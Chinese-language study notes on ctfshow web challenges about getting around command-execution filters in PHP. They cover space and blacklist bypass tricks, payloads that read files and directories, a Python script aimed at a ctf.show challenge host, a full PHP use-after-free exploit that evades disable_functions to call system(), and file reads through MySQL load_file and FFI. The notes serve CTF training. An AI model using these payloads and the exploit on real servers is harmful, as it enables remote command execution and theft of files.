常见的绕过

知识点

session

session是什么,作用是什么?
当用户访问到一个服务器,如果服务器启用Session,服务器就要为该用户创建一个SESSION,在创建这个SESSION的时候,服务器首先检查这个用户发来的请求里是否包含
了一个SESSION ID,如果包含了一个SESSION ID则说明之前该用户已经登陆过并为此用
户创建过SESSION,那服务器就按照这个SESSION ID把这个SESSION在服务器的内存中
查找出来(如果查找不到,就有可能为他新创建一个),如果客户端请求里不包含有SESSION 
ID,则为该客户端创建一个SESSION并生成一个与此SESSION相关的SESSION ID。这个
SESSION ID是唯一的、不重复的、不容易找到规律的字符串,这个SESSION ID将被在本
次响应中返回到客户端保存,而保存这个SESSION ID的正是COOKIE,这样在交互过程中
浏览器可以自动的按照规则把这个标识发送给服务器

会话又是什么?
会话就是session,主要为了暂时存储用户的信息,提高浏览器跟服务器交互的效率,避免重复。

一.关于查看文件内容的命令

1.cat :从开头第一行显示到最后一行
2.tac :从最后一行显示到最后一行
3.rev :开头第一行到最后一行,但是每一行的字符倒转
4.nl:nl的功能和cat -n一样,同样是从第一行输出全部内容,并且把行号显示出来
5.head:用法 head -n 文件名,显示开头前n行
6.tail:跟head一样,显示结尾后n行

strings命令 在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。 strings命令对识别随机对象文件很有用。
列出ls中所有的ASCII文本:
strings /bin/ls
列出ls中所有的ASCII文本:
cat /bin/ls strings
查找ls中包含libc的字符串,不区分大小写:
strings /bin/ls | grep -i libc

grep命令
Linux grep 命令用于查找文件里符合条件的字符串。

二.Linux中的通配符

*   匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file 
?   匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd]  匹配abcd中任何一个字符
[a-z]   表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

三.绕过字符的过滤

对于linux中
cat ,ca''t,ca\t,ca""t三个的效果是一样的
c=system('ca\t fla\g.php');

黑洞闭合

; %0a ||

四.命令中的几个符号:

&& ---表示且,前面命令错误,就不会执行后面的命令
|| ---表示或,前面的命令正确,就不会执行后面的命令
| ---管道符,表示前面的输出作为后面语句的输入
& ---表示先执行前面语句,后面语句都要执行
;---表示依次执行语句

关于可以执行命令的几个符号:

1. system:执行系统和外部命令,并输出出来
2. ` `:执行命令,但是不会输出出来,如果要输出出来,需要echo `命令部分`
3. exec:执行命令,但是不会输出出来
   string exec ( string $command [, array &$output [, int &$return_var ]] )
   Command:表示要执行的命令
   Output:这是一个数组,用于接收exec函数执行后返回的字符串结果
   return_var:记录exec函数执行后返回的状态
4.passthru:执行系统命令并输出结果
   void passthru( string $command[, int &$return_var] ) 
5.shell_exec():用于执行shell命令并将执行的结果以字符串的形式返回,但是不会将结果进行输出。
   如果输出的话,print(or echo)shell_exec()
6. popen:popen函数会将执行后的系统命令结果用一个文件指针的形式返回。
   popen(命令,文件打开模式)
7.proc_open:执行一个命令,并且打开用来输入/输出的文件指针。类似于popen函数
more:一页一页的显示档案内容
less:与 more 类似 
head -n:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail -n:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看,排序输出
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

返回目录信息

show_source(next(array_reverse(scandir(pos(localeconv())))));

在linux中,当前目录使用小数点“.”来表示;linux系统的目录组成类似一个倒置的树型结构,该结构以根目录(“/”)开始向下延伸,还可用“..”表示上级目录,使用“./”表示下级目录。

localeconv()返回的是包含本地数字及货币格式信息的数组。

返回值:

Array ( [decimal_point] => . [thousands_sep] => [int_curr_symbol] => [currency_symbol] => [mon_decimal_point] => [mon_thousands_sep] => [positive_sign] => [negative_sign] => [int_frac_digits] => 127 [frac_digits] => 127 [p_cs_precedes] => 127 [p_sep_by_space] => 127 [n_cs_precedes] => 127 [n_sep_by_space] => 127 [p_sign_posn] => 127 [n_sign_posn] => 127 [grouping] => Array ( ) [mon_grouping] => Array ( ) ) 

pos()函数用来返回当前数组元素,默认的为数组第一个元素,所以pos(localeconv())返回的就是一个小数点“.”,也就是当前目录

scandir()函数返回指定目录中的文件和数组,里面的值为.的时候返回的就是当前目录中的文件名

image-20230301102247162

可见flag.php为倒数第二个元素,所以可以先逆置数组,然后再或许下一个元素即可得到flag.php

show_source()的作用和highlight_file()一样,是将文件中的内容打印出来,并进行语法高亮。

payload:
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

分析函数
1. _FILE_:文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件
名。自 PHP 4.0.2 起,__FILE__ 总是包含一个绝对路径(如果是符号连接,则是解析
后的绝对路径),而在此之前的版本有时会包含一个相对路径。

2. dirname():返回路径中的目录部分
dirname(string $path, int $levels = 1): string
path表示文件路径;levels表示要向上的父目录数量,整型,必须大于 0。
返回值:返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。
    basename() - 返回路径中的文件名部分
    pathinfo() - 返回文件路径的信息
    realpath() - 返回规范化的绝对路径名

3.scandir():函数返回指定目录中的文件和目录的数组。
scandir(directory,sorting_order,context);
第一个参数是指定的目录,第二个参数是指定升序还是降序,默认是升序,1表示降序
第三个参数,可选,表示规定目录句柄的环境。
返回值:文件和目录的数组。

4.array_reverse():返回单元顺序相反的数组 
array_reverse(array $array, bool $preserve_keys = false)
array:输入的数组。
preserve_keys:如果设置为 true 会保留数字的键。 非数字的键则不受这个设置的影响,总是会被保留。

5.next():将数组中的内部指针向前移动一位,也就是将数组序号向前移动一位。
    补充:
    current() - 返回数组中的当前值
    end() - 将数组的内部指针指向最后一个单元
    prev() - 将数组的内部指针倒回一位
    reset() - 将数组的内部指针指向第一个单元
    each() - 返回数组中当前的键/值对并将数组指针向前移动一步

6.highlight_file()和show_source():都是可以将文件的内容展示出来。
7.print_r():可以查看内容
8.pos():返回数组中当前元素的值,在每个数组的内部都有一个内部指针指着数组的当前元素,初始的时候是指向数组的第一个元素
##拓展
9.current():返回数组中当前元素的值
10.next():将内部指针指向数组中的下一个元素,并输出。
11.prev():将内部指针指向数组中的上一个元素,并输出。
12.end():将内部指针指向数组中的最后一个元素,并输出。
13.reset():将内部指针指向数组中的第一个元素,并输出。
14.ench():返回当前元素的键名和键值,并将内部指针向前移动,但是在PHP 7.2.0被废除了。
15.localeconv() 函数返回一个包含本地数字及货币格式信息的数组。

空格绕过

可以使用%09${IFS}${IFS}$9$IFS$9来绕过空格过滤

或者使用重定向<>或者<来绕过

  • ${IFS}
  • {IFS}$9
  • $IFS$9
  • 重定向符:<>(但是不支持后面跟通配符)
  • 水平制表符%09
tac<>fl''ag.php||    // ||用来绕过后面重定向
nl<fl''ag.php||

在linux 空格可以用以下字符串代替:
%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等
在使用带有$的内容替换时,要注意转义,因为$在php中有特殊含义
访问根目录
c=echo(`ls\$IFS/`);

||是逻辑或,1||2当命令1不执行的时候才执行命令2

;是1;2多个命令顺序执行,命令直接没有逻辑关系

&&是逻辑与,1&&2,当1正确执行之后才执行2

通配符

通配符 作用
? 匹配一个任意字符
* 匹配0个或多个任意字符
[] 匹配括号中任意一个字符
[-] 匹配括号中任意一个字符“-”表示范围
[^] 逻辑非,表示匹配不是括号内的一个字符

Bash中其他特殊符号

符号 作用
单引号,在单引号中所有的特殊符号都没有特殊含义
"" 双引号,在双引号中的特殊符号都没用有特殊含义,但是"$", "`", "\"是例外,有调用变量值,引用命令和转义符的特殊含义
$() 和反引号作用相同,用来引用系统命令
# 在shell脚本中,#开头的为注释
$ 用于调用变量的值,如果需要调用变量name的值时,需要用$name的方式得到
\ 转义字符,跟在\之后的特殊字符将失去特殊含义,转变为普通字符

绕过黑名单

Linux下一些已有字符

  • ${PS2} 对应字符 ‘>’
  • ${PS4} 对应字符 ‘+’
  • ${IFS} 对应 内部字段分隔符
  • ${9} 对应 空字符串

当数字和字母同时过滤怎样执行webshell

无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)

c=.+/???/????????[@-[],其中+表示空格,.执行命令。[@-[]是定位字母

import requests

while True:
    url = "http://6c925e5e-f607-4a59-9bbd-2302926e1239.challenge.ctf.show:8080/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
    if r.text.find("ctfshow") >0:
        print(r.text)
        break

echo 文件读取

highlight_file("flag.php");
show_source("flag.php");
echo file_get_contents("flag.php");
file_get_contents(),以字符串的形式从文件中读取内容,file_put_contents(),从文件中写入内容,可以传马进去,文件上传就是用的这个函数

readfile("flag.php");
输出文件内容

var_dump(file("flag.php"));
file协议:
把整个文件读入一个数组中
file(string $filename, int $flags = 0, resource $context = ?): array
filename文件的路径。
返回数组形式的文件内容。数组的每个元素对应于文件中的一行(结尾会附加换行符)。 失败时,file() 返回 false

print_r(php_strip_whitespace("flag.php"));
php_strip_whitespace()将注释空白过滤后再返回文件内容
利用文件指针的形式去读取文件内容
fread():
读取文件(可安全用于二进制文件),返回文件的字符串内容,失败时返回false
fread(fopen($filename,"r"), $size);

fgets():
从文件指针中读取一行
print_r(fgets(fopen($filename, "r"))); // 读取一行

fgetc():
fgetc — 从文件指针中读取字符
fgetss():
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记

fgetcsv():
从文件指针中读入一行并解析 CSV 字段
print_r(fgetcsv(fopen($filename,"r"), $size));

fpassthru():
输出文件指针处的所有剩余数据。
该函数将给定的文件指针从当前的位置读取到 EOF,并把结果写到输出缓冲区。
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF

fscanf() — 从文件中格式化输入
print_r(fscanf(fopen("flag", "r"),"%s"))

fopen打开文件指针,popen打开文件指针
print_r(fread(popen("cat flag", "r"), $size));

读文件直接写代码的形式

feof判断文件指针是否结束。
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

其他payload

c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };读目录
c=print_r(scandir(dirname('__FILE__')));读目录
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}读目录

DirectoryIterator是一个读取文件系统目录的接口
glob:// 寻找与模式匹配的文件路径
后面的/*相当于根目录下的通配符匹配文件。
c=?><?php echo"hello";exit(0);
发现输出hello,说明前面的语句执行了
?>先闭合前面的语句,再构造后面的语句。
查看目录
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." ";};exit(0);
得到flag
c=?><?php require("/flagx.txt");exit(0);
require可以换成include

缓冲区

代码

<?
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

函数

ob_start():打开输出控制缓冲
ob_get_contents():返回输出缓存的内容
ob_end_clean(): 清空(擦除)缓冲区并关闭输出缓冲
关于Ob_end_clean()的说明:
    此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。

例子

<?php
ob_start();
echo "hello";
$out1=ob_get_contents();
echo "world";
$out2 =ob_get_contents();
ob_end_clean();

var_dump($out1,$out2);
?>
输出:
string(5) "hello";
string(10) "helloworld";

首先通过第一个ob_get_contents(),将hello存储到变量out1中,然后第二个函数把world存储到out2,但是因为ob_end_clean(),只丢弃离它最近,最顶端的换成内容,所以hello输出出来了,而world没有输出出来。因为变量存储了内容,var_dump()可以输出出来。

代码中,ob_end_clean()不能直接输出出来,必须经过正则才能输出出来。

我们使用强制退出,直接结束后面的程序。

payload

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString()." ");};exit();查看目录
c=$d=opendir("../../../");while(false!==($f=readdir($d))){echo"$f\n";};exit();读取目录
c=include("/flag.txt");exit();其中exit()也可以变成die(),include变成require()

include被禁用

存在open_basedir()和disabled_functions的限制

open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空

exp

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

burp抓包,把c的值换为exp,再进行url编码,得flag

利用mysql的load_file读取文件

连接数据库
$con=mysqli_connect("localhost:3306","root","root");面向过程
$con=new mysqli("localhost:3306","root","root");面向对象

检测数据库
if($con->connect_error())
if(!$con)

创建数据库
mysqli_query($con,"CREAT DATABASE my_db")
$con->query("CREAT DATABASE my_db")===TRUE
创建表,mysqli_connect,传入数据库名字
CREATE TABLE my_sql(
    id INT(10),
    username VARCHAR(15),
    pasword VARCHAR(16)
)
插入表的数据
INSERT INTO my_sql(id,username,pasword) values (4,'zzy','zxc123')
if(mysql_query($con,$sql))
if($con->query($sql)===TRUE)

插入多条数据
$sql = "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('John', 'Doe', 'john@example.com');";
$sql .= "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('Mary', 'Moe', 'mary@example.com');";
$sql .= "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('Julie', 'Dooley', 'julie@example.com')";
if(mysql_multi_query($con,$sql))
if($con->multi_query($sql)===TURE)

读取数据
select语句
where语句
order by 语句,是对某列的数据进行排序,默认升序,DESC降序
可以根据多个列进行排序。当按照多个列进行排序时,只有第一列的值相同时才使用第二列:
update更新
UPDATE table_name
SET column1=value, column2=value2,...
WHERE some_column=some_value
delete删除
DELETE FROM table_name
WHERE some_column = some_value
关闭
mysqli_close($con)
$con->close();
利用mysql load_file读文件   //过75,76
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
select load_file()根据文件路径,可以读取文件

然后url编码。

FFI

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
上一篇
下一篇